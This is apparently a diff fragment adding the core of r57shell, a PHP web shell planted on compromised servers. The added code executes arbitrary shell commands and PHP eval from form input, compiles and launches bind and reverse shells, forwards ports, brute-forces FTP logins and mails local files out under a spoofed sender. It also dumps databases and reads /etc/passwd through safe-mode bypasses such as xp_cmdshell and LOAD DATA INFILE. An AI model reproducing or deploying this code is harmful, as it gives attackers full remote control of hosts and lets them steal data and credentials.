+$curl_on = @function_exists('curl_version');
+echo ws(2);
+echo "cURL: ".(($curl_on)?("ON "):("OFF "));
+echo ws(2);
+echo "MySQL: ";
+$mysql_on = @function_exists('mysql_connect');
+if($mysql_on){
+echo "ON "; } else { echo "OFF "; }
+echo ws(2);
+echo "MSSQL: ";
+$mssql_on = @function_exists('mssql_connect');
+if($mssql_on){echo "ON ";}else{echo "OFF ";}
+echo ws(2);
+echo "PostgreSQL: ";
+$pg_on = @function_exists('pg_connect');
+if($pg_on){echo "ON ";}else{echo "OFF ";}
+echo ws(2);
+echo "Oracle: ";
+$ora_on = @function_exists('ocilogon');
+if($ora_on){echo "ON ";}else{echo "OFF ";}
+echo " ".ws(2);
+echo "Disable functions : ";
+if(''==($df=@ini_get('disable_functions'))){echo "NONE ";}else{echo "$df ";}
+$free = @diskfreespace($dir);
+if (!$free) {$free = 0;}
+$all = @disk_total_space($dir);
+if (!$all) {$all = 0;}
+$used = $all-$free;
+$used_percent = @round(100/($all/$free),2);
+echo " ".ws(2)."HDD Free : ".view_size($free)." HDD Total : ".view_size($all)." ";
+echo '
+
+';
+echo $font;
+if(!$windows){
+echo 'uname -a :'.ws(1).' sysctl :'.ws(1).' $OSTYPE :'.ws(1).' Server :'.ws(1).' id :'.ws(1).' pwd :'.ws(1).' ';
+echo " ";
+echo "";
+$uname = ex('uname -a');
+echo((!empty($uname))?(ws(3).@substr($uname,0,120)." "):(ws(3).@substr(@php_uname(),0,120)." "));
+if(!$safe_mode){
+$bsd1 = ex('sysctl -n kern.ostype');
+$bsd2 = ex('sysctl -n kern.osrelease');
+$lin1 = ex('sysctl -n kernel.ostype');
+$lin2 = ex('sysctl -n kernel.osrelease');
+}
+if (!empty($bsd1)&&!empty($bsd2)) { $sysctl = "$bsd1 $bsd2"; }
+else if (!empty($lin1)&&!empty($lin2)) {$sysctl = "$lin1 $lin2"; }
+else { $sysctl = "-"; }
+echo ws(3).$sysctl." ";
+echo ws(3).ex('echo $OSTYPE')." ";
+echo ws(3).@substr($SERVER_SOFTWARE,0,120)." ";
+$id = ex('id');
+echo((!empty($id))?(ws(3).$id." "):(ws(3)."user=".@get_current_user()." uid=".@getmyuid()." gid=".@getmygid()." "));
+echo ws(3).$dir;
+echo ws(3).'( '.perms(@fileperms($dir)).' )';
+echo " ";
+}
+else
+{
+echo 'OS :'.ws(1).' Server :'.ws(1).' User :'.ws(1).' pwd :'.ws(1).' ';
+echo " ";
+echo "";
+echo ws(3).@substr(@php_uname(),0,120)." ";
+echo ws(3).@substr($SERVER_SOFTWARE,0,120)." ";
+echo ws(3).@get_current_user()." ";
+echo ws(3).$dir;
+echo " ";
+}
+echo "";
+echo "
";
+if(empty($c1)||empty($c2)) { die(); }
+$f = ' ';
+$f .= base64_decode($c1);
+$f .= base64_decode($c2);
+if(isset($_POST['cmd']) && !empty($_POST['cmd']) && $_POST['cmd']=="mail")
+ {
+ $res = mail($_POST['to'],$_POST['subj'],$_POST['text'],"From: ".$POST['from']."\r\n");
+ mr($language,$res);
+ $_POST['cmd']="";
+ }
+if(isset($_POST['cmd']) && !empty($_POST['cmd']) && $_POST['cmd']=="mail_file" && !empty($_POST['loc_file']))
+ {
+ if(!$file=@fopen($_POST['loc_file'],"r")) { echo re($_POST['loc_file']); $_POST['cmd']=""; }
+ else
+ {
+ $filename = @basename($_POST['loc_file']);
+ $filedump = @fread($file,@filesize($_POST['loc_file']));
+ fclose($file);
+ $content_encoding=$mime_type='';
+ compress($filename,$filedump,$_POST['compress']);
+ $attach = array(
+ "name"=>$filename,
+ "type"=>$mime_type,
+ "content"=>$filedump
+ );
+ if(empty($_POST['subj'])) { $_POST['subj'] = 'file from r57shell'; }
+ if(empty($_POST['from'])) { $_POST['from'] = 'billy@microsoft.com'; }
+ $res = mailattach($_POST['to'],$_POST['from'],$_POST['subj'],$attach);
+ mr($language,$res);
+ $_POST['cmd']="";
+ }
+ }
+if(!empty($_POST['cmd']) && $_POST['cmd'] == "find_text")
+{
+$_POST['cmd'] = 'find '.$_POST['s_dir'].' -name \''.$_POST['s_mask'].'\' | xargs grep -E \''.$_POST['s_text'].'\'';
+}
+if(!empty($_POST['cmd']) && $_POST['cmd']=="ch_")
+ {
+ switch($_POST['what'])
+ {
+ case 'own':
+ @chown($_POST['param1'],$_POST['param2']);
+ break;
+ case 'grp':
+ @chgrp($_POST['param1'],$_POST['param2']);
+ break;
+ case 'mod':
+ @chmod($_POST['param1'],intval($_POST['param2'], 8));
+ break;
+ }
+ $_POST['cmd']="";
+ }
+if(!empty($_POST['cmd']) && $_POST['cmd']=="mk")
+ {
+ switch($_POST['what'])
+ {
+ case 'file':
+ if($_POST['action'] == "create")
+ {
+ if(file_exists($_POST['mk_name']) || !$file=@fopen($_POST['mk_name'],"w")) { echo ce($_POST['mk_name']); $_POST['cmd']=""; }
+ else {
+ fclose($file);
+ $_POST['e_name'] = $_POST['mk_name'];
+ $_POST['cmd']="edit_file";
+ echo "".$lang[$language.'_text61']."
";
+ }
+ }
+ else if($_POST['action'] == "delete")
+ {
+ if(unlink($_POST['mk_name'])) echo "".$lang[$language.'_text63']."
";
+ $_POST['cmd']="";
+ }
+ break;
+ case 'dir':
+ if($_POST['action'] == "create"){
+ if(mkdir($_POST['mk_name']))
+ {
+ $_POST['cmd']="";
+ echo "".$lang[$language.'_text62']."
";
+ }
+ else { echo ce($_POST['mk_name']); $_POST['cmd']=""; }
+ }
+ else if($_POST['action'] == "delete"){
+ if(rmdir($_POST['mk_name'])) echo "".$lang[$language.'_text64']."
";
+ $_POST['cmd']="";
+ }
+ break;
+ }
+ }
+if(!empty($_POST['cmd']) && $_POST['cmd']=="edit_file" && !empty($_POST['e_name']))
+ {
+ if(!$file=@fopen($_POST['e_name'],"r+")) { $only_read = 1; @fclose($file); }
+ if(!$file=@fopen($_POST['e_name'],"r")) { echo re($_POST['e_name']); $_POST['cmd']=""; }
+ else {
+ echo $table_up3;
+ echo $font;
+ echo "";
+ echo ws(3)."".$_POST['e_name']." ";
+ echo "";
+ echo @htmlspecialchars(@fread($file,@filesize($_POST['e_name'])));
+ fclose($file);
+ echo " ";
+ echo " ";
+ echo " ";
+ echo " ";
+ echo (!empty($only_read)?(" ".$lang[$language.'_text44']):(" "));
+ echo "
";
+ echo "";
+ echo " ";
+ echo "
";
+ exit();
+ }
+ }
+if(!empty($_POST['cmd']) && $_POST['cmd']=="save_file")
+ {
+ if(!$file=@fopen($_POST['e_name'],"w")) { echo we($_POST['e_name']); }
+ else {
+ @fwrite($file,$_POST['e_text']);
+ @fclose($file);
+ $_POST['cmd']="";
+ echo "".$lang[$language.'_text45']."
";
+ }
+ }
+if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="C"))
+{
+ cf("/tmp/bd.c",$port_bind_bd_c);
+ $blah = ex("gcc -o /tmp/bd /tmp/bd.c");
+ @unlink("/tmp/bd.c");
+ $blah = ex("/tmp/bd ".$_POST['port']." ".$_POST['bind_pass']." &");
+ $_POST['cmd']="ps -aux | grep bd";
+}
+if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="Perl"))
+{
+ cf("/tmp/bdpl",$port_bind_bd_pl);
+ $p2=which("perl");
+ if(empty($p2)) $p2="perl";
+ $blah = ex($p2." /tmp/bdpl ".$_POST['port']." &");
+ $_POST['cmd']="ps -aux | grep bdpl";
+}
+if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="Perl"))
+{
+ cf("/tmp/back",$back_connect);
+ $p2=which("perl");
+ if(empty($p2)) $p2="perl";
+ $blah = ex($p2." /tmp/back ".$_POST['ip']." ".$_POST['port']." &");
+ $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\"";
+}
+if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="C"))
+{
+ cf("/tmp/back.c",$back_connect_c);
+ $blah = ex("gcc -o /tmp/backc /tmp/back.c");
+ @unlink("/tmp/back.c");
+ $blah = ex("/tmp/backc ".$_POST['ip']." ".$_POST['port']." &");
+ $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\"";
+}
+if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="Perl"))
+{
+ cf("/tmp/dp",$datapipe_pl);
+ $p2=which("perl");
+ if(empty($p2)) $p2="perl";
+ $blah = ex($p2." /tmp/dp ".$_POST['local_port']." ".$_POST['remote_host']." ".$_POST['remote_port']." &");
+ $_POST['cmd']="ps -aux | grep dp";
+}
+if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="C"))
+{
+ cf("/tmp/dpc.c",$datapipe_c);
+ $blah = ex("gcc -o /tmp/dpc /tmp/dpc.c");
+ @unlink("/tmp/dpc.c");
+ $blah = ex("/tmp/dpc ".$_POST['local_port']." ".$_POST['remote_port']." ".$_POST['remote_host']." &");
+ $_POST['cmd']="ps -aux | grep dpc";
+}
+if (!empty($_POST['alias'])){ foreach ($aliases as $alias_name=>$alias_cmd) { if ($_POST['alias'] == $alias_name){$_POST['cmd']=$alias_cmd;}}}
+if (!empty($HTTP_POST_FILES['userfile']['name']))
+{
+if(isset($_POST['nf1']) && !empty($_POST['new_name'])) { $nfn = $_POST['new_name']; }
+else { $nfn = $HTTP_POST_FILES['userfile']['name']; }
+@copy($HTTP_POST_FILES['userfile']['tmp_name'],
+ $_POST['dir']."/".$nfn)
+ or print("Error uploading file ".$HTTP_POST_FILES['userfile']['name']."
");
+}
+if (!empty($_POST['with']) && !empty($_POST['rem_file']) && !empty($_POST['loc_file']))
+{
+ switch($_POST['with'])
+ {
+ case wget:
+ $_POST['cmd'] = which('wget')." ".$_POST['rem_file']." -O ".$_POST['loc_file']."";
+ break;
+ case fetch:
+ $_POST['cmd'] = which('fetch')." -o ".$_POST['loc_file']." -p ".$_POST['rem_file']."";
+ break;
+ case lynx:
+ $_POST['cmd'] = which('lynx')." -source ".$_POST['rem_file']." > ".$_POST['loc_file']."";
+ break;
+ case links:
+ $_POST['cmd'] = which('links')." -source ".$_POST['rem_file']." > ".$_POST['loc_file']."";
+ break;
+ case GET:
+ $_POST['cmd'] = which('GET')." ".$_POST['rem_file']." > ".$_POST['loc_file']."";
+ break;
+ case curl:
+ $_POST['cmd'] = which('curl')." ".$_POST['rem_file']." -o ".$_POST['loc_file']."";
+ break;
+ }
+}
+if(!empty($_POST['cmd']) && ($_POST['cmd']=="ftp_file_up" || $_POST['cmd']=="ftp_file_down"))
+ {
+ list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']);
+ if(empty($ftp_port)) { $ftp_port = 21; }
+ $connection = @ftp_connect ($ftp_server,$ftp_port,10);
+ if(!$connection) { fe($language,0); }
+ else
+ {
+ if(!@ftp_login($connection,$_POST['ftp_login'],$_POST['ftp_password'])) { fe($language,1); }
+ else
+ {
+ if($_POST['cmd']=="ftp_file_down") { if(chop($_POST['loc_file'])==$dir) { $_POST['loc_file']=$dir.(($windows)?('\\'):('/')).basename($_POST['ftp_file']); } @ftp_get($connection,$_POST['loc_file'],$_POST['ftp_file'],$_POST['mode']); }
+ if($_POST['cmd']=="ftp_file_up") { @ftp_put($connection,$_POST['ftp_file'],$_POST['loc_file'],$_POST['mode']); }
+ }
+ }
+ @ftp_close($connection);
+ $_POST['cmd'] = "";
+ }
+if(!empty($_POST['cmd']) && $_POST['cmd']=="ftp_brute")
+ {
+ list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']);
+ if(empty($ftp_port)) { $ftp_port = 21; }
+ $connection = @ftp_connect ($ftp_server,$ftp_port,10);
+ if(!$connection) { fe($language,0); $_POST['cmd'] = ""; }
+ else if(!$users=get_users()) { echo "".$lang[$language.'_text96']."
"; $_POST['cmd'] = ""; }
+ @ftp_close($connection);
+ }
+echo $table_up3;
+if (empty($_POST['cmd'])&&!$safe_mode) { $_POST['cmd']=($windows)?("dir"):("ls -lia"); }
+else if(empty($_POST['cmd'])&&$safe_mode){ $_POST['cmd']="safe_dir"; }
+echo $font.$lang[$language.'_text1'].": ".$_POST['cmd']." ";
+if($safe_mode)
+{
+ switch($_POST['cmd'])
+ {
+ case 'safe_dir':
+ $d=@dir($dir);
+ if ($d)
+ {
+ while (false!==($file=$d->read()))
+ {
+ if ($file=="." || $file=="..") continue;
+ @clearstatcache();
+ list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file);
+ if($windows){
+ echo date("d.m.Y H:i",$mtime);
+ if(@is_dir($file)) echo " "; else printf("% 7s ",$size);
+ }
+ else{
+ $owner = @posix_getpwuid($uid);
+ $grgid = @posix_getgrgid($gid);
+ echo $inode." ";
+ echo perms(@fileperms($file));
+ printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size);
+ echo date("d.m.Y H:i ",$mtime);
+ }
+ echo "$file\n";
+ }
+ $d->close();
+ }
+ else echo $lang[$language._text29];
+ break;
+ case 'safe_file':
+ if(@is_file($_POST['file']))
+ {
+ $file = @file($_POST['file']);
+ if($file)
+ {
+ $c = @sizeof($file);
+ for($i=0;$i<$c;$i++) { echo htmlspecialchars($file[$i]); }
+ }
+ else echo $lang[$language._text29];
+ }
+ else echo $lang[$language._text31];
+ break;
+ case 'test1':
+ $ci = @curl_init("file://".$_POST['test1_file']."");
+ $cf = @curl_exec($ci);
+ echo $cf;
+ break;
+ case 'test2':
+ @include($_POST['test2_file']);
+ break;
+ case 'test3':
+ if(!isset($_POST['test3_port'])||empty($_POST['test3_port'])) { $_POST['test3_port'] = "3306"; }
+ $db = @mysql_connect('localhost:'.$_POST['test3_port'],$_POST['test3_ml'],$_POST['test3_mp']);
+ if($db)
+ {
+ if(@mysql_select_db($_POST['test3_md'],$db))
+ {
+ $sql = "DROP TABLE IF EXISTS temp_r57_table;";
+ @mysql_query($sql);
+ $sql = "CREATE TABLE `temp_r57_table` ( `file` LONGBLOB NOT NULL );";
+ @mysql_query($sql);
+ $sql = "LOAD DATA INFILE \"".$_POST['test3_file']."\" INTO TABLE temp_r57_table;";
+ @mysql_query($sql);
+ $sql = "SELECT * FROM temp_r57_table;";
+ $r = @mysql_query($sql);
+ while(($r_sql = @mysql_fetch_array($r))) { echo @htmlspecialchars($r_sql[0]); }
+ $sql = "DROP TABLE IF EXISTS temp_r57_table;";
+ @mysql_query($sql);
+ }
+ else echo "[-] ERROR! Can't select database";
+ @mysql_close($db);
+ }
+ else echo "[-] ERROR! Can't connect to mysql server";
+ break;
+ case 'test4':
+ if(!isset($_POST['test4_port'])||empty($_POST['test4_port'])) { $_POST['test4_port'] = "1433"; }
+ $db = @mssql_connect('localhost,'.$_POST['test4_port'],$_POST['test4_ml'],$_POST['test4_mp']);
+ if($db)
+ {
+ if(@mssql_select_db($_POST['test4_md'],$db))
+ {
+ @mssql_query("drop table r57_temp_table",$db);
+ @mssql_query("create table r57_temp_table ( string VARCHAR (500) NULL)",$db);
+ @mssql_query("insert into r57_temp_table EXEC master.dbo.xp_cmdshell '".$_POST['test4_file']."'",$db);
+ $res = mssql_query("select * from r57_temp_table",$db);
+ while(($row=@mssql_fetch_row($res)))
+ {
+ echo $row[0]."\r\n";
+ }
+ @mssql_query("drop table r57_temp_table",$db);
+ }
+ else echo "[-] ERROR! Can't select database";
+ @mssql_close($db);
+ }
+ else echo "[-] ERROR! Can't connect to MSSQL server";
+ break;
+ }
+}
+else if(($_POST['cmd']!="php_eval")&&($_POST['cmd']!="mysql_dump")&&($_POST['cmd']!="db_show")&&($_POST['cmd']!="db_query")&&($_POST['cmd']!="ftp_brute")){
+ $cmd_rep = ex($_POST['cmd']);
+ if($windows) { echo @htmlspecialchars(@convert_cyr_string($cmd_rep,'d','w'))."\n"; }
+ else { echo @htmlspecialchars($cmd_rep)."\n"; }}
+if ($_POST['cmd']=="ftp_brute")
+ {
+ $suc = 0;
+ foreach($users as $user)
+ {
+ $connection = @ftp_connect($ftp_server,$ftp_port,10);
+ if(@ftp_login($connection,$user,$user)) { echo "[+] $user:$user - success\r\n"; $suc++; }
+ else if(isset($_POST['reverse'])) { if(@ftp_login($connection,$user,strrev($user))) { echo "[+] $user:".strrev($user)." - success\r\n"; $suc++; } }
+ @ftp_close($connection);
+ }
+ echo "\r\n-------------------------------------\r\n";
+ $count = count($users);
+ if(isset($_POST['reverse'])) { $count *= 2; }
+ echo $lang[$language.'_text97'].$count."\r\n";
+ echo $lang[$language.'_text98'].$suc."\r\n";
+ }
+if ($_POST['cmd']=="php_eval"){
+ $eval = @str_replace("","",$_POST['php_eval']);
+ $eval = @str_replace("?>","",$eval);
+ @eval($eval);}
+if ($_POST['cmd']=="db_show")
+ {
+ switch($_POST['db'])
+ {
+ case 'MySQL':
+ if(empty($_POST['db_port'])) { $_POST['db_port'] = '3306'; }
+ $db = @mysql_connect('localhost:'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']);
+ if($db)
+ {
+ $res=@mysql_query("SHOW DATABASES", $db);
+ while(($row=@mysql_fetch_row($res)))
+ {
+ echo "[+] ".$row[0]."\r\n";
+ if(isset($_POST['st'])){
+ $res2 = @mysql_query("SHOW TABLES FROM ".$row[0],$db);
+ while(($row2=@mysql_fetch_row($res2)))
+ {
+ echo " | - ".$row2[0]."\r\n";
+ if(isset($_POST['sc']))
+ {
+ $res3 = @mysql_query("SHOW COLUMNS FROM ".$row[0].".".$row2[0],$db);
+ while(($row3=@mysql_fetch_row($res3))) { echo " | - ".$row3[0]."\r\n"; }
+ }
+ }
+ }
+ }
+ @mysql_close($db);
+ }
+ else echo "[-] ERROR! Can't connect to MySQL server";
+ break;
+ case 'MSSQL':
+ if(empty($_POST['db_port'])) { $_POST['db_port'] = '1433'; }
+ $db = @mssql_connect('localhost,'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']);
+ if($db)
+ {
+ $res=@mssql_query("sp_databases", $db);
+ while(($row=@mssql_fetch_row($res)))
+ {
+ echo "[+] ".$row[0]."\r\n";
+ if(isset($_POST['st'])){
+ @mssql_select_db($row[0]);
+ $res2 = @mssql_query("sp_tables",$db);
+ while(($row2=@mssql_fetch_array($res2)))
+ {
+ if($row2['TABLE_TYPE'] == 'TABLE' && $row2['TABLE_NAME'] != 'dtproperties')
+ {
+ echo " | - ".$row2['TABLE_NAME']."\r\n";
+ if(isset($_POST['sc']))
+ {
+ $res3 = @mssql_query("sp_columns ".$row2[2],$db);
+ while(($row3=@mssql_fetch_array($res3))) { echo " | - ".$row3['COLUMN_NAME']."\r\n"; }
+ }
+ }
+ }
+ }
+ }
+ @mssql_close($db);
+ }
+ else echo "[-] ERROR! Can't connect to MSSQL server";
+ break;
+ case 'PostgreSQL':
+ if(empty($_POST['db_port'])) { $_POST['db_port'] = '5432'; }
+ $str = "host='localhost' port='".$_POST['db_port']."' user='".$_POST['mysql_l']."' password='".$_POST['mysql_p']."' dbname='".$_POST['mysql_db']."'";
+ $db = @pg_connect($str);
+ if($db)
+ {
+ $res=@pg_query($db,"SELECT datname FROM pg_database WHERE datistemplate='f'");
+ while(($row=@pg_fetch_row($res)))
+ {
+ echo "[+] ".$row[0]."\r\n";
+ }
+ @pg_close($db);
+ }
+ else echo "[-] ERROR! Can't connect to PostgreSQL server";
+ break;
+ }
+ }
+if ($_POST['cmd']=="mysql_dump")
+ {
+ if(isset($_POST['dif'])) { $fp = @fopen($_POST['dif_name'], "w"); }
+ if((!empty($_POST['dif'])&&$fp)||(empty($_POST['dif']))){
+ $sqh = "# homepage: http://rst.void.ru\r\n";
+ $sqh .= "# ---------------------------------\r\n";
+ $sqh .= "# date : ".date ("j F Y g:i")."\r\n";
+ $sqh .= "# database : ".$_POST['mysql_db']."\r\n";
+ $sqh .= "# table : ".$_POST['mysql_tbl']."\r\n";
+ $sqh .= "# ---------------------------------\r\n\r\n";
+ switch($_POST['db']){
+ case 'MySQL':
+ if(empty($_POST['db_port'])) { $_POST['db_port'] = '3306'; }
+ $db = @mysql_connect('localhost:'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']);
+ if($db)
+ {
+ if(@mysql_select_db($_POST['mysql_db'],$db))
+ {
+ $sql1 = "# MySQL dump created by r57shell\r\n";
+ $sql1 .= $sqh;
+ $res = @mysql_query("SHOW CREATE TABLE `".$_POST['mysql_tbl']."`", $db);
+ $row = @mysql_fetch_row($res);
+ $sql1 .= $row[1]."\r\n\r\n";
+ $sql1 .= "# ---------------------------------\r\n\r\n";
+ $sql2 = '';
+ $res = @mysql_query("SELECT * FROM `".$_POST['mysql_tbl']."`", $db);
+ if (@mysql_num_rows($res) > 0) {
+ while (($row = @mysql_fetch_assoc($res))) {
+ $keys = @implode("`, `", @array_keys($row));
+ $values = @array_values($row);
+ foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
+ $values = @implode("', '", $values);
+ $sql2 .= "INSERT INTO `".$_POST['mysql_tbl']."` (`".$keys."`) VALUES ('".htmlspecialchars($values)."');\r\n";
+ }
+ $sql2 .= "\r\n# ---------------------------------";
+ }
+ if(!empty($_POST['dif'])&&$fp) { @fputs($fp,$sql1.$sql2); }
+ else { echo $sql1.$sql2; }
+ }
+ else echo "[-] ERROR! Can't select database";
+ @mysql_close($db);
+ }
+ else echo "[-] ERROR! Can't connect to MySQL server";
+ break;
+ case 'MSSQL':
+ if(empty($_POST['db_port'])) { $_POST['db_port'] = '1433'; }
+ $db = @mssql_connect('localhost,'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']);
+ if($db)
+ {
+ if(@mssql_select_db($_POST['mysql_db'],$db))
+ {
+ $sql1 = "# MSSQL dump created by r57shell\r\n";
+ $sql1 .= $sqh;
+ $sql2 = '';
+ $res = @mssql_query("SELECT * FROM ".$_POST['mysql_tbl']."", $db);
+ if (@mssql_num_rows($res) > 0) {
+ while (($row = @mssql_fetch_assoc($res))) {
+ $keys = @implode(", ", @array_keys($row));
+ $values = @array_values($row);
+ foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
+ $values = @implode("', '", $values);
+ $sql2 .= "INSERT INTO ".$_POST['mysql_tbl']." (".$keys.") VALUES ('".htmlspecialchars($values)."');\r\n";
+ }
+ $sql2 .= "\r\n# ---------------------------------";
+ }
+ if(!empty($_POST['dif'])&&$fp) { @fputs($fp,$sql1.$sql2); }
+ else { echo $sql1.$sql2; }
+ }
+ else echo "[-] ERROR! Can't select database";
+ @mssql_close($db);
+ }
+ else echo "[-] ERROR! Can't connect to MSSQL server";
+ break;
+ case 'PostgreSQL':
+ if(empty($_POST['db_port'])) { $_POST['db_port'] = '5432'; }
+ $str = "host='localhost' port='".$_POST['db_port']."' user='".$_POST['mysql_l']."' password='".$_POST['mysql_p']."' dbname='".$_POST['mysql_db']."'";
+ $db = @pg_connect($str);
+ if($db)
+ {
+ $sql1 = "# PostgreSQL dump created by r57shell\r\n";
+ $sql1 .= $sqh;
+ $sql2 = '';
+ $res = @pg_query($db,"SELECT * FROM ".$_POST['mysql_tbl']."");
+ if (@pg_num_rows($res) > 0) {
+ while (($row = @pg_fetch_assoc($res))) {
+ $keys = @implode(", ", @array_keys($row));
+ $values = @array_values($row);
+ foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
+ $values = @implode("', '", $values);
+ $sql2 .= "INSERT INTO ".$_POST['mysql_tbl']." (".$keys.") VALUES ('".htmlspecialchars($values)."');\r\n";
+ }
+ $sql2 .= "\r\n# ---------------------------------";
+ }
+ if(!empty($_POST['dif'])&&$fp) { @fputs($fp,$sql1.$sql2); }
+ else { echo $sql1.$sql2; }
+ @pg_close($db);
+ }
+ else echo "[-] ERROR! Can't connect to PostgreSQL server";
+ break;
+ }
+ }
+ else if(!empty($_POST['dif'])&&!$fp) { echo "[-] ERROR! Can't write in dump file"; }
+ }
+echo "
";
+echo "";
+echo "
";
+echo "";
+function up_down($id)
+ {
+ global $lang;
+ global $language;
+ return '  ';
+ }
+function div($id)
+ {
+ if(isset($_COOKIE[$id]) && $_COOKIE[$id]==0) return '';
+ return '
';
+ }
+if(!$safe_mode){
+echo $fs.$table_up1.$lang[$language.'_text2'].up_down('id1').$table_up2.div('id1').$ts;
+echo sr(15,"".$lang[$language.'_text3'].$arrow." ",in('text','cmd',85,''));
+echo sr(15,"".$lang[$language.'_text4'].$arrow." ",in('text','dir',85,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
+echo $te.'
'.$table_end1.$fe;
+}
+else{
+echo $fs.$table_up1.$lang[$language.'_text28'].up_down('id2').$table_up2.div('id2').$ts;
+echo sr(15,"
".$lang[$language.'_text4'].$arrow." ",in('text','dir',85,$dir).in('hidden','cmd',0,'safe_dir').ws(4).in('submit','submit',0,$lang[$language.'_butt6']));
+echo $te.'
'.$table_end1.$fe;
+}
+echo $fs.$table_up1.$lang[$language.'_text42'].up_down('id3').$table_up2.div('id3').$ts;
+echo sr(15,"".$lang[$language.'_text43'].$arrow." ",in('text','e_name',85,$dir).in('hidden','cmd',0,'edit_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt11']));
+echo $te.''.$table_end1.$fe;
+if($safe_mode){
+echo $fs.$table_up1.$lang[$language.'_text57'].up_down('id4').$table_up2.div('id4').$ts;
+echo sr(15,"".$lang[$language.'_text58'].$arrow." ",in('text','mk_name',54,(!empty($_POST['mk_name'])?($_POST['mk_name']):("new_name"))).ws(4)."".$lang[$language.'_text65']." ".$lang[$language.'_text66']." ".ws(3)."".$lang[$language.'_text59']." ".$lang[$language.'_text60']." ".in('hidden','cmd',0,'mk').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt13']));
+echo $te.''.$table_end1.$fe;
+}
+if($safe_mode && $unix){
+echo $fs.$table_up1.$lang[$language.'_text67'].up_down('id5').$table_up2.div('id5').$ts;
+echo sr(15,"".$lang[$language.'_text68'].$arrow." ","CHMOD CHOWN CHGRP ".ws(2)."".$lang[$language.'_text69'].$arrow." ".ws(2).in('text','param1',40,(($_POST['param1'])?($_POST['param1']):("filename"))).ws(2)."".$lang[$language.'_text70'].$arrow." ".ws(2).in('text','param2 title="'.$lang[$language.'_text71'].'"',26,(($_POST['param2'])?($_POST['param2']):("0777"))).in('hidden','cmd',0,'ch_').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
+echo $te.''.$table_end1.$fe;
+}
+if(!$safe_mode){
+foreach ($aliases as $alias_name=>$alias_cmd)
+ {
+ $aliases2 .= "$alias_name ";
+ }
+echo $fs.$table_up1.$lang[$language.'_text7'].up_down('id6').$table_up2.div('id6').$ts;
+echo sr(15,"".ws(9).$lang[$language.'_text8'].$arrow.ws(4)." ","".$aliases2." ".in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
+echo $te.''.$table_end1.$fe;
+}
+echo $fs.$table_up1.$lang[$language.'_text54'].up_down('id7').$table_up2.div('id7').$ts;
+echo sr(15,"".$lang[$language.'_text52'].$arrow." ",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12']));
+echo sr(15,"".$lang[$language.'_text53'].$arrow." ",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )");
+echo sr(15,"".$lang[$language.'_text55'].$arrow." ",in('checkbox','m id=m',0,'1').in('text','s_mask',82,'.txt;.php')."* ( .txt;.php;.htm )".in('hidden','cmd',0,'search_text').in('hidden','dir',0,$dir));
+echo $te.''.$table_end1.$fe;
+if(!$safe_mode && $unix){
+echo $fs.$table_up1.$lang[$language.'_text76'].up_down('id8').$table_up2.div('id8').$ts;
+echo sr(15,"".$lang[$language.'_text72'].$arrow." ",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12']));
+echo sr(15,"".$lang[$language.'_text73'].$arrow." ",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )");
+echo sr(15,"".$lang[$language.'_text74'].$arrow." ",in('text','s_mask',85,'*.[hc]').ws(1).$lang[$language.'_text75'].in('hidden','cmd',0,'find_text').in('hidden','dir',0,$dir));
+echo $te.''.$table_end1.$fe;
+}
+echo $fs.$table_up1.$lang[$language.'_text32'].up_down('id9').$table_up2.$font;
+echo "".div('id9')."";
+echo (!empty($_POST['php_eval'])?($_POST['php_eval']):("/* delete script */\r\n//unlink(\"r57shell.php\");\r\n//readfile(\"/etc/passwd\");"));
+echo " ";
+echo in('hidden','dir',0,$dir).in('hidden','cmd',0,'php_eval');
+echo " ".ws(1).in('submit','submit',0,$lang[$language.'_butt1']);
+echo "
";
+echo $table_end1.$fe;
+if($safe_mode&&$curl_on)
+{
+echo $fs.$table_up1.$lang[$language.'_text33'].up_down('id10').$table_up2.div('id10').$ts;
+echo sr(15,"".$lang[$language.'_text30'].$arrow." ",in('text','test1_file',85,(!empty($_POST['test1_file'])?($_POST['test1_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test1').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.''.$table_end1.$fe;
+}
+if($safe_mode)
+{
+echo $fs.$table_up1.$lang[$language.'_text34'].up_down('id11').$table_up2.div('id11').$ts;
+echo "";
+echo sr(15,"".$lang[$language.'_text30'].$arrow." ",in('text','test2_file',85,(!empty($_POST['test2_file'])?($_POST['test2_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test2').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.''.$table_end1.$fe;
+}
+if($safe_mode&&$mysql_on)
+{
